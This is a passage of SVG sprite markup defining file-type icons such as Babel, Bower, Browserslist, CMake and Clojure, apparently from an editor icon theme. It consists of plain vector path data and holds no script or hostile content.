clip-rule="evenodd" fill="none" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#api)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#apj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#apk)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#apl)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#apm)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#apn)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#apo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#app)"/></g></symbol><symbol viewBox="0 0 24 24" id="autohotkey" xmlns="http://www.w3.org/2000/svg"><path d="M5 3c-1.11 0-2 .89-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2H5zm3.668 3.447a.9.9 0 0 1 .652.256.84.84 0 0 1 .262.625c0 .34-.014.852-.041 1.537-.022.68-.033 1.19-.033 1.53 0 .111-.016.326-.047.644a6.149 6.149 0 0 0-.033.68l2.578-.485c1.007-.179 1.874-.281 2.603-.308.018-.3.048-1.105.088-2.416.01-.345.115-.742.317-1.19.25-.55.533-.826.851-.826.237 0 .448.08.631.236.197.17.295.382.295.637a.775.775 0 0 1-.025.201c-.09.327-.135.612-.135.854 0 .125-.014.32-.041.584-.023.26-.033.453-.033.578 0 .425-.022 1.056-.067 1.893a38.963 38.963 0 0 0-.068 1.892c0 .327.025.816.074 1.465.05.649.074 1.136.074 1.463a.84.84 0 0 1-.261.625.893.893 0 0 1-.65.254 1 1 0 0 1-.686-.254.777.777 0 0 1-.29-.611c0-.327-.015-.818-.046-1.471a39.552 39.552 0 0 1-.041-1.47c0-.256.004-.482.013-.679-.702.032-1.57.142-2.603.33-.86.157-1.719.316-2.578.477-.01.304-.042.812-.096 1.523a22.354 22.354 0 0 0-.066 1.538.84.84 0 0 1-.262.625.893.893 0 0 1-.65.253.898.898 0 0 1-.653-.253.84.84 0 0 1-.262-.625c0-.452.038-1.128.114-2.028.08-.9.12-1.575.12-2.027 0-.573.015-1.436.042-2.586.027-1.155.04-2.017.04-2.59a.84.84 0 0 1 .263-.625.895.895 0 0 1 .65-.256z" fill="#4caf50"/></symbol><symbol viewBox="0 0 24 24" id="autoit" xmlns="http://www.w3.org/2000/svg"><defs id="ardefs8"><style id="arstyle4482">.cls-1{fill:#5d83ac}.cls-2{fill:#f0f0f0;fill-rule:evenodd}</style><style id="arstyle4510">.cls-1{fill:#5d83ac}.cls-2{fill:#f0f0f0;fill-rule:evenodd}</style></defs><g id="arg4522" transform="translate(-59.538 -26.404) scale(.0555)"><path d="M12.8 2.133A10.666 10.666 0 0 0 2.136 12.799 10.666 10.666 0 0 0 12.8 23.465a10.666 10.666 0 0 0 10.668-10.666A10.666 10.666 0 0 0 12.8 2.133zm.15 4.713c.456 0 .836.105 1.142.314.306.21.565.469.78.78l6.089 8.812H9.627l1.82-2.506h3.36c.315 0 .589.01.822.03a11.93 11.93 0 0 1-.473-.663 39.13 39.13 0 0 0-.517-.75l-1.748-2.578-4.577 6.467H4.746l6.25-8.813c.204-.281.46-.534.772-.757.31-.224.705-.336 1.181-.336z" transform="matrix(16.89188 0 0 16.89188 1072.761 475.745)" id="arcircle4514" fill="#1976d2" stroke-width=".026"/></g></symbol><symbol viewBox="0 0 213.33333 213.33333" id="babel" xmlns="http://www.w3.org/2000/svg"><path d="M50.22 199.659c-.875-.406-1.261-1.6-.857-2.652.404-1.053.12-1.914-.63-1.914s-1.615.748-1.92 1.663c-.328.983-1.27.302-2.304-1.667-.962-1.831-3.718-5.533-6.126-8.226-9.418-10.535-7.71-27.444 5.432-53.77 12.459-24.96 23.117-39.033 45.966-60.696 30.229-28.66 52.679-46.223 70.587-55.22 10.98-5.518 13.025-5.059 2.778.624-11.004 6.102-11.378 6.359-10.512 7.226.33.33 7.306-2.67 15.504-6.667 15.87-7.737 16.34-7.912 16.34-6.082 0 .652-4.95 3.738-11 6.858-13.062 6.736-12.722 6.48-10.472 7.872 1.117.69 5.428-.582 11.54-3.406 5.367-2.48 10.397-4.508 11.179-4.508 2.755 0-3.928 5.302-11.541 9.157-20.437 10.35-68.937 46.043-68.07 50.097.166.777-5.792 7.639-13.241 15.248-15.257 15.587-26.14 30.002-33.748 44.706-6.379 12.326-7.457 17.734-5.385 26.996 3.482 15.56 11.592 18.366 31.482 10.895 28.228-10.603 45.758-28.704 47.022-48.556.602-9.442-1.317-13.479-8.52-17.93-4.01-2.48-5.268-2.621-12.065-1.365-4.173.771-10.153 2.906-13.289 4.744s-6.455 3.34-7.377 3.34c-.922 0-3.216 1.336-5.096 2.968-1.88 1.633.48-1.13 5.247-6.14 6.82-7.167 7.956-8.9 5.333-8.132-5.208 1.525-10.194 4.33-15.649 8.803-2.76 2.264-.923.175 4.08-4.641 11.565-11.131 21.183-15.97 33.088-16.641 17.097-.966 27.254 5.805 31.964 21.31 2.435 8.017 2.609 10.24 1.353 17.37-1.65 9.361-7.034 21.553-15.593 35.307-4.398 7.067-8.434 11.427-15.588 16.844-9.166 6.94-15.654 11.02-15.654 9.845 0-.295 2.455-2.161 5.455-4.147 8.818-5.835 5.075-5.377-8.326 1.02-6.854 3.27-15.199 6.593-18.542 7.38-7.106 1.675-30.527 3.164-32.846 2.089zm-8.408-19.899c0-1.1-.6-2-1.333-2-.734 0-1.334.9-1.334 2s.6 2 1.333 2c.734 0 1.334-.9 1.334-2zm89.255-8.204c1.53-1.945 2.473-3.845 2.097-4.222-.377-.377-.836-.435-1.02-.13-.182.306-1.787 2.206-3.565 4.223-1.778 2.016-2.571 3.666-1.763 3.666s2.72-1.591 4.25-3.536zm-77.644-1.745c-.82-2.172-1.74-3.7-2.045-3.396-.951.952 1.088 7.345 2.343 7.345.656 0 .522-1.777-.298-3.95zm82.303-27.915c-.837-.837-3.217 2.55-3.184 4.53.012.734.896.178 1.965-1.235 1.07-1.413 1.618-2.896 1.219-3.295zm-66.238-36.904c-1.312-1.312-3.676.702-3.676 3.133 0 2.035.175 2.031 2.254-.047 1.24-1.24 1.88-2.628 1.422-3.086zm39.657.768c4.403-2.196 6.8-3.986 5.333-3.982-2.838.01-16.667 6.028-16.667 7.254 0 1.6 3.717.527 11.333-3.272zm16.667-5.333c0-.733-.9-1.333-2-1.333s-2 .6-2 1.333.9 1.333 2 1.333 2-.6 2-1.333zm-3.334-3.923l5.334-1.104-7.334-.133c-4.033-.073-8.233.45-9.333 1.16-2.539 1.64 3.572 1.682 11.333.077zm35.738-63.976c2.788-1.69 4.765-3.376 4.393-3.748-.947-.947-11.942 5.654-14.237 8.548-1.792 2.258-1.714 2.276 1.44.329a1452.76 1452.76 0 0 1 8.403-5.13z" fill="#ffca28" stroke-width="1.333"/></symbol><symbol viewBox="0 0 400 400" fill-opacity=".05" id="bithound" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.88 0 0 .88 24.121 2.895)" fill="#e53935" fill-opacity="1"><path d="M370.5 207c-1.5-14.8-4.8-29.9-9.5-44-13.5-40.3-38.6-81.6-70.3-110.1-1.4-1.2-6.7-4.4-8.7-3.3-5.2 2.9 4.6 22.8 5.8 26.4 7.4 22 12.1 45.3 6.8 68.3-7.1 30.4-30.4 51.7-61.5 54.3-17.1 1.4-34.3-.5-51.4 1.5-25.6 3-51.7 11.8-68 32.8-1.9 2.4-3.6 5.1-5.2 7.9h-.4c-6.3.7-12.6-2-15.7-3.7-.8-.5-1.6-.9-2.2-1.2-19-10.5-33-34-41.6-53.4-3.9-9-7.2-18.4-9.3-27.9-1-4.3-1.1-8.8-1.3-13.2-.1-2.7.3-6.5-1.2-8.9-3.3-5.2-7.5-.2-8.2 4-1.1 6.9-2.1 13.7-1.8 20.7.5 11.8 3.8 23.5 8 34.5 6.2 16.2 14.9 31.1 26.2 44.4 4.7 5.5 9.7 10.6 15.1 15.3 4.8 4.3 10.9 7.7 14.5 13.2 4.2 6.3 4.9 14.1 4.5 21.4-1 19.3-1.6 37.4 3.9 56.2 4.8 16.7 10.8 33.8 20.8 48.1 5 7.1 11.2 14.6 18 19.9 4.6 3.6 13.3 4 8.3-9.2-11.1-29.3-12.1-59.7 5.2-87.1 14.5-22.8 40.1-43.1 69-39.5 42.5 5.3 72.1 44.3 70 86-.6 11.7-1 21.7-4.7 32.7-1.5 4.4-2.6 10-1.5 14.6 1.8 7.8 10.5 4.9 14.3-.2 10.3-14 21.1-27.6 30.8-42 31.6-47.2 47-101.8 41.3-158.5z"/><path d="M132.4 92.1c.7 2.3 1.4 4.8 1.9 7.5.1 1.1.4 2.3 1 3.4 2.6 6.8 8.9 10.5 14.8 14 3.6 2.2 10.1 4.3 14.1 5.9 5.2 2.1 16.4-.6 21.7-1 12.2-1 23.5-5.3 34.7 1.2-57.4 67.3-3.2 82.3 38.8 49.9 48-37 2.8-124.3 2.8-124.3s-1-6.8-19.2-10.8c-1.7-.9-3.4-1.7-5.1-2.4-18-8.3-34.2 5.3-47.2 16.4-3.8 3.2-7.5 6.4-11.5 9.4-5.4 4-11.2 7.3-17.3 10.2-6.4 3-14 6.4-21.1 6.7-1 0-2.9.2-4.9.6-3.1.3-4.7 1.1-5.4 2.5-1.2 1-2 2.4-1.8 4.2.2 2.5 1.4 4.6 2.7 6.2.4.1.7.3 1 .4z"/></g></symbol><symbol viewBox="0 0 400.00001 399.99999" id="bower" xmlns="http://www.w3.org/2000/svg"><g transform="translate(12.061 33.203) scale(.81733)"><path d="M447.61 200.08c-23.139-22.234-138.85-36.114-175.36-40.154a107.137 107.137 0 0 0 4.517-12.944 146.107 146.107 0 0 1 15.905-5.901c.677 1.997 3.865 9.648 5.682 13.279 73.415 2.025 77.184-54.557 80.17-70.058 2.92-15.157 2.771-29.802 27.953-56.575-37.516-10.933-91.467 16.945-109.54 58.437-6.79-2.545-13.597-4.424-20.328-5.586-4.824-19.46-29.944-73.672-95.863-73.672-83.46 0-174.43 68.853-174.43 185.41 0 97.976 66.891 183.84 104.68 183.84 16.505 0 30.703-12.36 34.036-23.44 2.795 7.597 11.368 31.213 14.184 37.225 4.162 8.89 23.41 16.583 31.833 7.357 10.83 6.017 30.703 9.641 41.534-6.405 20.86 4.412 39.3-8.026 39.702-22.868 10.235-.546 15.256-14.918 13.021-26.363-1.647-8.426-19.248-38.66-26.113-49.098 13.59 11.054 48.013 14.183 52.194.007 21.911 17.198 56.057 8.171 58.765-5.815 26.624 6.917 57.16-8.276 52.146-26.676 42.771-2.958 37.296-48.464 25.296-59.996z" fill="#543729" stroke-width=".973"/><path d="M328.514 103.025c9.212-18.277 20.788-38.234 35.409-50.58-16.093 6.485-31.981 25.873-41.375 46.595a144.914 144.914 0 0 0-14.552-8.132c13.105-27.972 43.555-51.332 77.112-53.157-22.477 20.385-14.498 62.754-32.979 85.183-5.288-5.311-17.43-15.562-23.615-19.909zm-14.53 29.762c.01-.7.272-6.094.763-8.557-1.288-.304-9.3-1.87-13.476-1.772-.304 5.245 2.204 14.17 4.684 19.541 17.075-.358 29.408-5.471 36.667-10.172-6.18-2.88-16.726-5.442-24.745-6.974-.894 1.851-3.097 6.568-3.892 7.934z" fill="#00acee"/><g stroke-width=".973"><path d="M250.54 277.39c.004.024.015.057.018.082-2.165-4.657-4.463-10.314-7.208-17.708 10.688 15.557 44.184 7.533 42.427-6.407 16.395 12.336 50.143-2.055 42.471-19.353 16.423 7.653 35.168-7.745 30.964-14.455 28 5.4 54.832 10.783 63.256 12.938-5.595 9.123-18.339 15.566-37.549 11.089 10.38 14.14-9.773 31.105-37.844 21.76 6.18 13.883-18.814 26.38-47.22 11.91.361 13.889-35.24 15.488-49.315.143zm55.543-70.194c32.497 2.495 86.238 7.34 119.51 11.997-2.102-10.828-7.844-13.921-25.905-18.772-19.425 2.072-68.706 6.913-93.604 6.776z" fill="#2baf2b"/><path d="M285.78 253.36c16.395 12.336 50.143-2.055 42.471-19.353 16.423 7.653 35.168-7.745 30.964-14.455-33.103-6.383-67.84-12.788-75.719-13.908 4.78.254 12.702.797 22.59 1.556 24.899.137 74.18-4.704 93.604-6.775-31.452-7.975-95.666-19.613-140.01-22.48-2.055 3.003-5.833 8.097-12.413 13.51-19.403 41.053-54.557 68.34-93.454 68.34-11.335 0-24.018-1.912-38.233-6.456-8.865 9.497-46.661 16.694-77.329 1.641 24.326 56.961 80.74 94.984 143.19 94.984 52.591 0 75.912-53.704 70.808-67.914-1.238-3.45-6.145-14.889-8.891-22.283 10.689 15.556 44.185 7.532 42.429-6.408z" fill="#ffcc2f"/><path d="M253.91 145.27c4.644-2.526 20.69-12.253 35.981-15.908a67.843 67.843 0 0 1-.536-5.12c-10.032 2.403-28.945 10.51-39.784-.661 22.866 6.9 34.283-6.149 51.09-6.149 10.014 0 24.305 2.798 35.57 7.22-9.061-8.37-38.772-33.63-75.558-33.717-8.213 9.957-17.09 31.526-6.764 54.334z" fill="#cecece"/><path d="M115.58 253.33c14.215 4.544 26.898 6.457 38.233 6.457 38.896 0 74.05-27.29 93.454-68.341-14.351 11.978-39.291 22.228-78.241 22.228 34.694-7.866 64.56-25.156 79.753-50.427-10.68-16.998-22.263-54.603 7.07-84.33-4.512-14.497-26.475-52.766-75.095-52.766-84.85 0-155.17 71.001-155.17 166.15 0 22.525 4.547 43.65 12.67 62.664 30.666 15.054 68.462 7.858 77.327-1.64z" fill="#ef5734"/><path d="M141.03 108.45c0 21.644 17.546 39.191 39.19 39.191s39.192-17.548 39.192-39.191c0-21.644-17.548-39.191-39.192-39.191-21.644 0-39.19 17.547-39.19 39.191z" fill="#ffcc2f"/><path d="M156.76 108.45c0 12.958 10.507 23.463 23.463 23.463 12.96 0 23.464-10.506 23.464-23.463 0-12.959-10.504-23.464-23.464-23.464-12.957 0-23.463 10.506-23.463 23.464z" fill="#543729"/><ellipse cx="180.22" cy="98.044" rx="13.673" ry="8.501" fill="#fff"/></g></g></symbol><symbol viewBox="0 0 140 140" id="browserlist" xmlns="http://www.w3.org/2000/svg"><title>Browserslist logo</title><path d="M70.314 10.066a59.828 59.828 0 0 0-59.828 59.828 59.828 59.828 0 0 0 59.828 59.828 59.828 59.828 0 0 0 59.828-59.828 59.828 59.828 0 0 0-59.828-59.828zm-4.836 8.785c.496 4.043 1.352 7.322 2.572 10.223 4.779-4.287 10.265-7.546 16.041-9.02-.981 3.938-1.357 7.295-1.261 10.43 6.026-2.314 12.349-3.404 18.3-2.706-3.182 2.413-5.482 4.717-7.128 7.015-2.201 12.074 6.858 20.43 14.779 24.551a5.128 5.128 0 0 1 5.183-3.888 5.128 5.128 0 0 1 3.7 8.435v.002c-.487 1.055-2.002 2.343-3.497 3.219-4.075 2.39-11.172 5.736-20.914 7.39.045 1.214.077 2.453.077 3.747 0 4.817-.485 8.291-1.385 10.699-3.3 13.313-12.648 26.76-24.695 31.95.357-4.083.197-7.485-.402-10.591-5.582 3.218-11.646 5.278-17.623 5.52h-.002c1.785-3.662 2.855-6.878 3.412-9.976-6.347.996-12.727.742-18.377-1.17 2.93-2.732 5.054-5.314 6.673-7.96-6.292-1.344-12.169-3.87-16.766-7.686 3.822-1.544 6.795-3.239 9.3-5.197-5.426-3.517-10.034-7.998-12.972-13.23 4.012-.07 7.321-.568 10.3-1.453-3.786-5.215-6.468-11.032-7.333-16.951 3.861 1.405 7.196 2.133 10.36 2.355-1.662-6.22-2.081-12.605-.768-18.436 3.03 2.634 5.824 4.48 8.63 5.815.678-6.406 2.576-12.52 5.893-17.496 1.926 3.622 3.914 6.391 6.111 8.672 2.93-5.754 6.9-10.798 11.791-14.262zm26.465 19.557c-2.395 5.514-1.665 11.297-.555 18.732a2.138 2.138 0 0 0 .28-4.178 3.419 3.419 0 1 1 .092 6.704c.574 3.882 1.157 8.18 1.421 13.125a67.143 67.143 0 0 0 3.25-.649c6.616-1.487 12.258-3.801 16.871-6.506.45-.264.884-.563 1.276-.867.366-.557.333-.957.035-1.285-4.831-1.245-10.891-4.53-15.258-8.795-4.764-4.653-7.428-10.164-7.412-16.281z" fill="#ffca28" stroke-width=".855"/></symbol><symbol viewBox="0 0 140 140" id="browserlist_light" xmlns="http://www.w3.org/2000/svg"><title>Browserslist logo</title><g transform="translate(10.823 10.1)" stroke-width=".855"><circle cx="59.492" cy="59.795" r="59.828" fill="#ffca28"/><path d="M54.656 8.752c-4.89 3.464-8.862 8.508-11.791 14.262-2.198-2.28-4.185-5.05-6.111-8.672-3.318 4.976-5.216 11.09-5.893 17.496-2.807-1.335-5.6-3.18-8.63-5.814-1.314 5.83-.895 12.216.767 18.436-3.164-.223-6.498-.95-10.36-2.356.865 5.92 3.548 11.737 7.333 16.951-2.978.885-6.287 1.383-10.3 1.453 2.939 5.233 7.547 9.714 12.972 13.23-2.505 1.959-5.478 3.654-9.299 5.198 4.596 3.815 10.474 6.341 16.766 7.685-1.62 2.647-3.743 5.228-6.674 7.96 5.65 1.912 12.03 2.166 18.377 1.17-.556 3.098-1.626 6.314-3.412 9.975h.002c5.977-.24 12.042-2.3 17.623-5.52.6 3.108.76 6.51.402 10.593 12.047-5.19 21.395-18.638 24.695-31.951.9-2.408 1.385-5.881 1.385-10.7 0-1.293-.031-2.531-.076-3.745 9.742-1.655 16.839-5.001 20.914-7.39 1.494-.877 3.01-2.165 3.496-3.22v-.002a5.128 5.128 0 0 0-3.7-8.435 5.128 5.128 0 0 0-5.183 3.889c-7.92-4.122-16.98-12.477-14.779-24.551 1.646-2.299 3.947-4.603 7.13-7.016-5.952-.698-12.276.392-18.302 2.707-.095-3.135.28-6.492 1.262-10.43-5.776 1.473-11.262 4.733-16.041 9.02-1.22-2.902-2.076-6.18-2.572-10.223zm26.465 19.557c-.015 6.117 2.648 11.628 7.412 16.281 4.366 4.265 10.426 7.55 15.258 8.795.298.328.331.728-.035 1.285-.392.304-.825.603-1.275.867-4.613 2.704-10.256 5.019-16.871 6.506-1.071.24-2.154.458-3.25.649-.265-4.945-.848-9.243-1.422-13.125a3.419 3.419 0 1 0-.092-6.703 2.138 2.138 0 0 1-.28 4.177c-1.11-7.435-1.84-13.218.555-18.732z" fill="#37474f"/></g></symbol><symbol viewBox="0 0 24 24" id="bucklescript" xmlns="http://www.w3.org/2000/svg"><path d="M3 3v18h18V3H3zm14.1 8.858a5.5 5.5 0 0 1 1.26.145c.417.093.778.213 1.082.357v1.723h-.18a3.281 3.281 0 0 0-.959-.603 2.867 2.867 0 0 0-1.155-.247c-.14 0-.277.011-.416.035a1.4 1.4 0 0 0-.395.12.756.756 0 0 0-.291.231.54.54 0 0 0-.123.348c0 .198.065.35.196.456.13.104.376.2.738.288.237.057.466.11.683.164.22.054.455.128.706.222.496.188.86.444 1.095.77.238.32.357.738.357 1.253 0 .737-.271 1.336-.813 1.798-.538.46-1.27.689-2.197.689a5.447 5.447 0 0 1-1.402-.161 6.725 6.725 0 0 1-1.117-.416v-1.794h.183c.344.318.73.563 1.155.734.429.17.839.256 1.233.256.1 0 .235-.01.4-.03.166-.02.3-.055.403-.102a.97.97 0 0 0 .313-.225c.084-.09.127-.223.127-.4a.568.568 0 0 0-.183-.424c-.119-.12-.294-.213-.526-.276-.243-.067-.5-.128-.773-.185a5.523 5.523 0 0 1-.76-.227c-.544-.204-.936-.48-1.177-.828-.237-.351-.357-.786-.357-1.305 0-.697.27-1.265.81-1.703.54-.442 1.235-.663 2.083-.663zm-8.981.135h2.51c.521 0 .903.02 1.143.06.243.041.484.13.721.266.246.144.43.338.548.583.121.24.181.518.181.83 0 .36-.082.68-.247.959a1.697 1.697 0 0 1-.7.642v.04c.423.098.758.298 1.004.603.249.305.373.706.373 1.205 0 .361-.063.686-.19.97-.125.285-.296.52-.516.707a2.31 2.31 0 0 1-.845.472c-.304.094-.69.141-1.159.141H8.12v-7.478zm1.659 1.372v1.582h.262c.263 0 .486-.007.672-.017.185-.01.332-.043.44-.1.15-.077.248-.175.294-.295.046-.124.07-.266.07-.427a.91.91 0 0 0-.083-.371.518.518 0 0 0-.282-.277 1.187 1.187 0 0 0-.456-.086c-.18-.007-.433-.01-.76-.01h-.157zm0 2.873V18.1H9.9c.469 0 .804-.002 1.007-.006.202-.003.39-.046.56-.13a.712.712 0 0 0 .357-.33c.067-.142.099-.302.099-.483 0-.237-.04-.42-.121-.547-.078-.13-.214-.228-.405-.291a1.842 1.842 0 0 0-.538-.072 49.47 49.47 0 0 0-.716-.003h-.366z" fill="#26a69a" stroke-width="1.067"/></symbol><symbol viewBox="0 0 24 24" id="c" xmlns="http://www.w3.org/2000/svg"><path d="M15.45 15.97l.42 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96-1.14-1.27-1.68-2.88-1.68-4.83C6 9.9 6.68 8.13 8 6.89 9.28 5.64 10.92 5 12.9 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.6 2.49-1.04-.34c-.4-.1-.87-.15-1.4-.15-1.15-.01-2.11.36-2.86 1.1-.76.73-1.14 1.85-1.18 3.34.01 1.36.37 2.42 1.08 3.2.71.77 1.7 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.09-.32z" fill="#0277bd"/></symbol><symbol viewBox="0 0 300 300" id="cabal" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -822.52)" fill-rule="evenodd" color="#000"><rect transform="matrix(-.98339 .18149 .60192 .79856 0 0)" x="405.55" y="967.22" width="107.25" height="156.59" rx="12.306" ry="12.31" fill="#2d9bbd"/><rect transform="matrix(-.98528 .17093 -.59175 .80612 0 0)" x="-1156.5" y="1461.9" width="108.34" height="123.15" rx="10.69" ry="12.31" fill="#4a4bcd"/><path d="M52.112 965.158c-1.343 3.515-26.292 23.248-25.744 27.277.548 4.03 29.812 16.023 32.04 19.027s10.545 41.668 13.603 42.5 18.828-31.274 21.548-32.932c2.72-1.658 32.808 2.503 34.15-1.01 1.343-3.515-18.174-35.352-18.721-39.381-.548-4.03 9.732-40.12 7.502-43.125-2.229-3.005-30.06 9.427-33.118 8.594-3.059-.833-26.793-27.3-29.514-25.643-2.72 1.657-.405 41.177-1.747 44.693z" fill="#2e5bc1"/></g></symbol><symbol viewBox="0 0 24 24" id="cake" xmlns="http://www.w3.org/2000/svg"><path d="M12.254 6.621a1.807 1.807 0 0 0 1.808-1.807c0-.344-.09-.66-.262-.932l-1.546-2.684-1.546 2.684a1.72 1.72 0 0 0-.262.932 1.808 1.808 0 0 0 1.808 1.807m4.158 9.04l-.967-.976-.976.976c-1.175 1.166-3.236 1.175-4.42 0l-.959-.976-.994.976a3.134 3.134 0 0 1-3.977.353v4.167a.904.904 0 0 0 .904.904h14.463a.904.904 0 0 0 .904-.904v-4.167a3.134 3.134 0 0 1-3.977-.353m1.265-6.328h-4.52V7.525H11.35v1.808H6.83a2.712 2.712 0 0 0-2.711 2.712v1.392c0 .977.795 1.772 1.771 1.772.489 0 .94-.18 1.248-.515l1.952-1.926 1.908 1.926c.669.669 1.835.669 2.504 0l1.916-1.926 1.944 1.926c.316.334.768.515 1.247.515.976 0 1.78-.795 1.78-1.772v-1.392a2.712 2.712 0 0 0-2.711-2.712z" fill="#ff7043" stroke-width=".904"/></symbol><symbol viewBox="0 0 24 24" id="certificate" xmlns="http://www.w3.org/2000/svg"><path d="M4 3c-1.11 0-2 .89-2 2v10a2 2 0 0 0 2 2h8v5l3-3 3 3v-5h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2H4m8 2l3 2 3-2v3.5l3 1.5-3 1.5V15l-3-2-3 2v-3.5L9 10l3-1.5V5M4 5h5v2H4V5m0 4h3v2H4V9m0 4h5v2H4v-2z" fill="#ff5722"/></symbol><symbol viewBox="0 0 24 24" id="changelog" xmlns="http://www.w3.org/2000/svg"><path d="M11 7v5.11l4.71 2.79.79-1.28-4-2.37V7m0-5C8.97 2 5.91 3.92 4.27 6.77L2 4.5V11h6.5L5.75 8.25C6.96 5.73 9.5 4 12.5 4a7.5 7.5 0 0 1 7.5 7.5 7.5 7.5 0 0 1-7.5 7.5c-3.27 0-6.03-2.09-7.06-5h-2.1c1.1 4.03 4.77 7 9.16 7 5.24 0 9.5-4.25 9.5-9.5A9.5 9.5 0 0 0 12.5 2z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 24 24" id="clojure" xmlns="http://www.w3.org/2000/svg"><path d="M3.355 1.78c-.845 0-1.525.68-1.525 1.525v17.441c0 .845.68 1.525 1.525 1.525h17.442c.845 0 1.525-.68 1.525-1.525V3.305c0-.845-.68-1.526-1.525-1.526H3.355zm6.168 2.572h1.963l6.368 14.931H15.93l-3.38-8.086-3.349 8.086H7.21l4.346-10.38-2.032-4.551z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="cmake" xmlns="http://www.w3.org/2000/svg"><path d="M11.99 2.965L2.977 20.999l9.874-8.47-.863-9.564z" fill="#1e88e5"/><path d="M12.007 2.963l.002.29 1.312 14.498-.001.006.023.26 7.362 2.979h.416l-.158-.311-.114-.228h-.002l-8.84-17.494z" fill="#e53935"/><path d="M8.607 16.11L2.98 20.995h17.743v-.016L8.607 16.11z" fill="#7cb342"/></symbol><symbol class="bfmain_logo__svg" viewBox="0 0 300 300.00001" id="code-climate" xmlns="http://www.w3.org/2000/svg"><path class="bfsymbol" d="M196.19 75.562l-51.846 51.561 30.766 30.766 21.08-21.08 59.252 59.537 30.481-30.766zm-61.246 60.961l-30.481-30.481-78.053 78.053-11.964 11.964 30.766 30.766 11.964-12.249 39.596-39.312 7.691-7.691 30.481 30.48 28.772 28.773 30.766-30.766-28.772-28.772z" fill="#eee" stroke-width="2.849"/></symbol><symbol class="bgmain_logo__svg" viewBox="0 0 300 300.00001" id="code-climate_light" xmlns="http://www.w3.org/2000/svg"><path class="bgsymbol" d="M196.19 75.562l-51.846 51.561 30.766 30.766 21.08-21.08 59.252 59.537 30.481-30.766zm-61.246 60.961l-30.481-30.481-78.053 78.053-11.964 11.964 30.766 30.766 11.964-12.249 39.596-39.312 7.691-7.691 30.481 30.48 28.772 28.773 30.766-30.766-28.772-28.772z" fill="#455a64" stroke-width="2.849"/></symbol><symbol viewBox="0 0 24 24" id="coffee" xmlns="http://www.w3.org/2000/svg"><path d="M2 21h18v-2H2M20 8h-2V5h2m0-2H4v10a4 4 0 0 0 4 4h6a4 4 0 0 0 4-4v-3h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="coldfusion" xmlns="http://www.w3.org/2000/svg"><rect transform="rotate(90)" x="2.283" y="-21.86" width="19.487" height="19.487" ry="0" fill="#0d3858" stroke="#4dd0e1" stroke-width=".7"/><text x="6.653" y="16.426" fill="#4dd0e1" font-family="Calibri" font-size="29.001" font-weight="bold" letter-spacing="0" stroke-width=".725" word-spacing="0" style="line-height:1.25"><tspan x="6.653" y="16.426" font-family="'Segoe UI'" font-size="10.634" font-weight="normal">C<tspan font-size="11.844">f</tspan></tspan></text></symbol><symbol viewBox="0 0 24 24" id="conduct" xmlns="http://www.w3.org/2000/svg"><path d="M10 17l-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9m-6-6a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m7 0h-4.18C14.4 1.84 13.3 1 12 1c-1.3 0-2.4.84-2.82 2H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#cddc39"/></symbol><symbol viewBox="0 0 24 24" id="console" xmlns="http://www.w3.org/2000/svg"><path d="M20 19V7H4v12h16m0-16a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h16m-7 14v-2h5v2h-5m-3.42-4L5.57 9H8.4l3.3 3.3c.39.39.39 1.03 0 1.42L8.42 17H5.59z" fill="#ff7043"/></symbol><symbol viewBox="0 0 24 24" id="contributing" xmlns="http://www.w3.org/2000/svg"><path d="M17 9H7V7h10m0 6H7v-2h10m-3 6H7v-2h7M12 3a1 1 0 0 1 1 1 1 1 